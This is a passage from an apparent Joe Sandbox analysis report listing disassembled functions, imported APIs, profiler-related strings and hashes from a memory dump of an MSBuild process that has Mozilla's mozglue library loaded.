??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IAE@XZ.MSVCP140(?,6C3C7A3F), ref: 6C37BF7E

Strings

=l, xrefs: 6C37BF84

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$??0?$basic_streambuf@??0ios_base@std@@?init@?$basic_ios@D@std@@@2@_V?$basic_streambuf@
String ID: =l
API String ID: 4279176481-3130106585
Opcode ID: a054ac3d02adce9e3a43c05431af3531290658204188d86cef221a7e7aa1045c
Instruction ID: 3f932cedcad83fa559c27719e2a7f5d30b0a6344e9b956868577ece7983462b0
Opcode Fuzzy Hash: a054ac3d02adce9e3a43c05431af3531290658204188d86cef221a7e7aa1045c
Instruction Fuzzy Hash: 0E11BF7A2007048FC72ACF1CD599966FBF8FB59308316885DEA8A8B760C731B804CF94

Function 6C3AE550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C3AE577
AcquireSRWLockExclusive.KERNEL32(6C3EF4B8), ref: 6C3AE584
ReleaseSRWLockExclusive.KERNEL32(6C3EF4B8), ref: 6C3AE5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C3AE8A6

Strings

MOZ_PROFILER_STARTUP, xrefs: 6C3AE5A1, 6C3AE5CC, 6C3AE5FF, 6C3AE62A
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C3AE777
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C3AE826, 6C3AE850
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C3AE722, 6C3AE750, 6C3AE7A2
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C3AE655

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: 592daca5924982a57b4e5fb6eea46cba7505c9c7cf8e3f3d00f66a1e2bf37df4
Instruction ID: 47fe3dbeb88f0ac84f1c82aed0ef653b937245abf603f9a31b111adc793c5315
Opcode Fuzzy Hash: 592daca5924982a57b4e5fb6eea46cba7505c9c7cf8e3f3d00f66a1e2bf37df4
Instruction Fuzzy Hash: DF11E131600354DFCB209F14D848B6ABBB8FFCD728F01091AE8815B650C7B1A815CF95

Function 6C3B0C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C3B0CD5

Part of subcall function 6C39F960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C39F9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C3B0D40
free.MOZGLUE ref: 6C3B0DCB

Part of subcall function 6C385E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C385EDB
Part of subcall function 6C385E90: memset.VCRUNTIME140(ew<l,000000E5,?), ref: 6C385F27
Part of subcall function 6C385E90: LeaveCriticalSection.KERNEL32(?), ref: 6C385FB2

free.MOZGLUE ref: 6C3B0DDD
free.MOZGLUE ref: 6C3B0DF2

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: 41bae6006ef5134a209d18946a024ea4a21ca65042e047c41809bcac849583ef
Instruction ID: 9887b8f8f9ec9fd41cf475c7a083532d620e0aab497db3a206d773e22c24a409
Opcode Fuzzy Hash: 41bae6006ef5134a209d18946a024ea4a21ca65042e047c41809bcac849583ef
Instruction Fuzzy Hash: D24145B59087849BD320DF29C18039AFBE5BFD8714F118A2EE8D897B50D770A444CF92

Function 6C3A0800 Relevance: 6.3, APIs: 5, Instructions: 71COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C3EE7DC), ref: 6C3A0838
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C3A084C
EnterCriticalSection.KERNEL32(?), ref: 6C3A08AF
LeaveCriticalSection.KERNEL32(?), ref: 6C3A08BD
LeaveCriticalSection.KERNEL32(6C3EE7DC), ref: 6C3A08D5

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset
String ID:
API String ID: 837921583-0
Opcode ID: 1ca9802977a67cf8cc062e0c3194b366d07742e94ab35b58c33afc5e53525da6
Instruction ID: 2fc4c0144d24ba7b9e79368955cfa56165afcbc29ed14c438ab728939ba4b250
Opcode Fuzzy Hash: 1ca9802977a67cf8cc062e0c3194b366d07742e94ab35b58c33afc5e53525da6
Instruction Fuzzy Hash: 0521D33170130A8BEB58CFA5D884BBE737DEF89708F500529D50AA7640DB32A8158FD4

Function 6C3BCCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6C3ADA31,00100000,?,?,00000000,?), ref: 6C3BCDA4

Part of subcall function 6C37CA10: malloc.MOZGLUE(?), ref: 6C37CA26

Part of subcall function 6C3BD130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6C3BCDBA,00100000,?,00000000,?,6C3ADA31,00100000,?,?,00000000,?), ref: 6C3BD158
Part of subcall function 6C3BD130: InitializeConditionVariable.KERNEL32(00000098,?,6C3BCDBA,00100000,?,00000000,?,6C3ADA31,00100000,?,?,00000000,?), ref: 6C3BD177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6C3ADA31,00100000,?,?,00000000,?), ref: 6C3BCDC4

Part of subcall function 6C3B7480: ReleaseSRWLockExclusive.KERNEL32(?,6C3C15FC,?,?,?,?,6C3C15FC,?), ref: 6C3B74EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6C3ADA31,00100000,?,?,00000000,?), ref: 6C3BCECC

Part of subcall function 6C37CA10: mozalloc_abort.MOZGLUE(?), ref: 6C37CAA2

Part of subcall function 6C3ACB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6C3BCEEA,?,?,?,?,00000000,?,6C3ADA31,00100000,?,?,00000000), ref: 6C3ACB57
Part of subcall function 6C3ACB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6C3ACBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6C3BCEEA,?,?), ref: 6C3ACBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6C3ADA31,00100000,?,?,00000000,?), ref: 6C3BD058

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: b4a7790e2654b50795a4d7abb945e7938b0efc00ede4d07d2a825d3960248300
Instruction ID: b82bf1bc75edb3a80e35712e47e5b2ceab0ade538e09d3f2408943c2b92461f0
Opcode Fuzzy Hash: b4a7790e2654b50795a4d7abb945e7938b0efc00ede4d07d2a825d3960248300
Instruction Fuzzy Hash: 90D17D71A04B069FD718CF28C480B99F7E1BF99308F01866DD8599BB11EB31A9A5CF91

Function 6C371720 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6C3717B2
memset.VCRUNTIME140(?,00000000,?,?), ref: 6C3718EE
free.MOZGLUE(?), ref: 6C371911
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C37194C

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturnfreememcpymemset
String ID:
API String ID: 3725304770-0
Opcode ID: ea90181fdd9e720766b790b0e2a6e461a1a8b00d6ba4f09da8e9c4ddf9d92848
Instruction ID: b71eb35401a04449cf975faed42fa588cb90c23ed0712861fb9d653ce7e41f3f
Opcode Fuzzy Hash: ea90181fdd9e720766b790b0e2a6e461a1a8b00d6ba4f09da8e9c4ddf9d92848
Instruction Fuzzy Hash: 4681CF71A102059FCB18CF68D8A49AEBBB5FF89314F04452CE849AB754D734E845CFA6

Function 6C385C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6C385D40
EnterCriticalSection.KERNEL32(6C3EF688), ref: 6C385D67
__aulldiv.LIBCMT ref: 6C385DB4
LeaveCriticalSection.KERNEL32(6C3EF688), ref: 6C385DED

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: 99bb15c1ffdd059b93b98619e59b0537f264ee67916df697ca19991fd3e59b5f
Instruction ID: 20486b28c85552067ecf685004537326cb35504ad351aef92079e5828ff8640a
Opcode Fuzzy Hash: 99bb15c1ffdd059b93b98619e59b0537f264ee67916df697ca19991fd3e59b5f
Instruction Fuzzy Hash: BA517E71E012698FDF18CF68C854AAEBBB6FB8D304F19861AC851A7750C7716945CF90

Function 6C36CDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6C36CEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6C36CEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6C36CF4E

Strings

0, xrefs: 6C36CF30

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: f51f8dcff54b76186debb0d34131baa717b4e02c21449dce9e5e3c9a4bcd64c7
Instruction ID: b75efb5194a9dc8a3b6ac351721625f2de5c342975e30e7c470087e1a198e9e7
Opcode Fuzzy Hash: f51f8dcff54b76186debb0d34131baa717b4e02c21449dce9e5e3c9a4bcd64c7
Instruction Fuzzy Hash: 6C513172A002168FCB00CF19D890AAABBB5EF89304F19819DD8595F796D331ED06CFE0

Function 6C3C77D0 Relevance: 6.1, APIs: 4, Instructions: 113stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C3C77FA
?StringToDouble@StringToDoubleConverter@double_conversion@@QBENPBDHPAH@Z.MOZGLUE(00000001,00000000,?), ref: 6C3C7829

Part of subcall function 6C39CC38: GetCurrentProcess.KERNEL32(?,?,?,?,6C3631A7), ref: 6C39CC45
Part of subcall function 6C39CC38: TerminateProcess.KERNEL32(00000000,00000003,?,?,?,?,6C3631A7), ref: 6C39CC4E

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C3C789F
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C3C78CF

Part of subcall function 6C364DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C364E5A
Part of subcall function 6C364DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C364E97

Part of subcall function 6C364290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C3A3EBD,6C3A3EBD,00000000), ref: 6C3642A9

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$DtoaProcessstrlen$Ascii@Builder@2@Builder@2@@Converter@CreateCurrentDecimalDouble@EcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestTerminateV12@
String ID:
API String ID: 2525797420-0
Opcode ID: 35ff1875e5acb87329cbc327eab5d9d89e7cc31d2da1afff768e11348c4f5140
Instruction ID: a04c183f3dd3f9804dff63467b7772f28379b26ae37ad4e40694632f176de947
Opcode Fuzzy Hash: 35ff1875e5acb87329cbc327eab5d9d89e7cc31d2da1afff768e11348c4f5140
Instruction Fuzzy Hash: A041AF71A047069BD310DF29D48056BFBF4FF8A254F204A2EE4E987640EB31D959CB92

Function 6C3A6470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6C3A82BC,?,?), ref: 6C3A649B

Part of subcall function 6C37CA10: malloc.MOZGLUE(?), ref: 6C37CA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C3A64A9

Part of subcall function 6C39FA80: GetCurrentThreadId.KERNEL32 ref: 6C39FA8D
Part of subcall function 6C39FA80: AcquireSRWLockExclusive.KERNEL32(6C3EF448), ref: 6C39FA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C3A653F
free.MOZGLUE(?), ref: 6C3A655A

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: acacecb347863e425d00e266f0224d9345b6895139ec9989acef458a432dbe7c
Instruction ID: 0ce39c746cb49ef0ec59645f02042f8d862051dcab65759d0c280418bf521783
Opcode Fuzzy Hash: acacecb347863e425d00e266f0224d9345b6895139ec9989acef458a432dbe7c
Instruction Fuzzy Hash: 433192B5A043059FD740CF14D88469AB7F4FF89314F00482EE89A97740D730E919CF92

Function 6C39FF60 Relevance: 6.1, APIs: 4, Instructions: 83COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,80000001,80000000,?,6C3BD019,?,?,?,?,?,00000000,?,6C3ADA31,00100000,?), ref: 6C39FFD3
memcpy.VCRUNTIME140(00000000,?,?,?,6C3BD019,?,?,?,?,?,00000000,?,6C3ADA31,00100000,?,?), ref: 6C39FFF5
free.MOZGLUE(?,?,?,?,?,6C3BD019,?,?,?,?,?,00000000,?,6C3ADA31,00100000,?), ref: 6C3A001B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,6C3BD019,?,?,?,?,?,00000000,?,6C3ADA31,00100000,?,?), ref: 6C3A002A

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: memcpy$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 826125452-0
Opcode ID: 5fb4628b44e20306aa67681d8d4bff47ca0127ea773f962c90f10c10f8ac4d0d
Instruction ID: 3c77370ba28dc4c52865fe14d2acd73d257b0d78d4296a409e6efd3f9c3d15e8
Opcode Fuzzy Hash: 5fb4628b44e20306aa67681d8d4bff47ca0127ea773f962c90f10c10f8ac4d0d
Instruction Fuzzy Hash: 1921D872A002155BD7189E78DCD44AFB7BAEB893247250338E566D7780FB71AD018BE1

Function 6C37B4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C37B4F5
AcquireSRWLockExclusive.KERNEL32(6C3EF4B8), ref: 6C37B502
ReleaseSRWLockExclusive.KERNEL32(6C3EF4B8), ref: 6C37B542
free.MOZGLUE(?), ref: 6C37B578

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 4aac2ab75b642d93de3645aefb7663da79a2351707ecbea54120504d283cabac
Instruction ID: 7984167519e8880d01eb1243b1c326776796b2a29ebdb0b4bf52b11599eb4407
Opcode Fuzzy Hash: 4aac2ab75b642d93de3645aefb7663da79a2351707ecbea54120504d283cabac
Instruction Fuzzy Hash: 2311AE30A04B45C7D3228F29D8007A1B3B8FFDE32CF11570AD8495BA01EBB5A1C48BA4

Function 6C3A3DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6C36F20E,?), ref: 6C3A3DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6C36F20E,00000000,?), ref: 6C3A3DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C3A3E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6C3A3E0E

Part of subcall function 6C39CC00: GetCurrentProcess.KERNEL32(?,?,6C3631A7), ref: 6C39CC0D
Part of subcall function 6C39CC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6C3631A7), ref: 6C39CC16

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: 59c75f434ab6a88ba32798c5e593cd12399161907082cd30e4b2b3a6ce0fad6f
Instruction ID: ef4b0f11f2ee2f953b9bfa3c3e6c772f6ea7b5fac82f201aad057c1c983ed1cf
Opcode Fuzzy Hash: 59c75f434ab6a88ba32798c5e593cd12399161907082cd30e4b2b3a6ce0fad6f
Instruction Fuzzy Hash: A9F012715002087BDB01AB94EC41DAB376DDF4A628F054021FD4957741D675FD268BF7

Function 6C3B2050 Relevance: 6.0, APIs: 4, Instructions: 33threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C3B205B
AcquireSRWLockExclusive.KERNEL32(?,?,?,00000000,?,6C3B201B,?,?,?,?,?,?,?,6C3B1F8F,?,?), ref: 6C3B2064
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C3B208E
free.MOZGLUE(?,?,?,00000000,?,6C3B201B,?,?,?,?,?,?,?,6C3B1F8F,?,?), ref: 6C3B20A3

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: b39132ae43c492d984623295ec0beeee6fc915f00dc265cd3936893ef87c2d19
Instruction ID: dea3013e22a72e9c5adb18f9f849b7bb4047b3130a6c515df494c4c2f59cd6fe
Opcode Fuzzy Hash: b39132ae43c492d984623295ec0beeee6fc915f00dc265cd3936893ef87c2d19
Instruction Fuzzy Hash: BAF0E9711007009BD7228F16D88879BB7FCEFDA328F10011AE5469BB10C772A805CFEA

Function 6C3B20B0 Relevance: 6.0, APIs: 4, Instructions: 28threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C3B20B7
AcquireSRWLockExclusive.KERNEL32(00000000,?,6C39FBD1), ref: 6C3B20C0
ReleaseSRWLockExclusive.KERNEL32(00000000,?,6C39FBD1), ref: 6C3B20DA
free.MOZGLUE(00000000,?,6C39FBD1), ref: 6C3B20F1

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 0aae910467a2954bfc1baa5642466f295bad422c34662ceac785a97b038b1952
Instruction ID: 91951e75f8f6ad3063c240a5158417e09bb55eccff07be734d141acc05be040e
Opcode Fuzzy Hash: 0aae910467a2954bfc1baa5642466f295bad422c34662ceac785a97b038b1952
Instruction Fuzzy Hash: CFE0E5316007148BC2319F25D80858FB7FDEF9A218B00022BE44A93B00D776B5468BDA

Function 6C3B85B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6C3B85D3

Part of subcall function 6C37CA10: malloc.MOZGLUE(?), ref: 6C37CA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6C3B8725

Strings

map/set<T> too long, xrefs: 6C3B8720

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
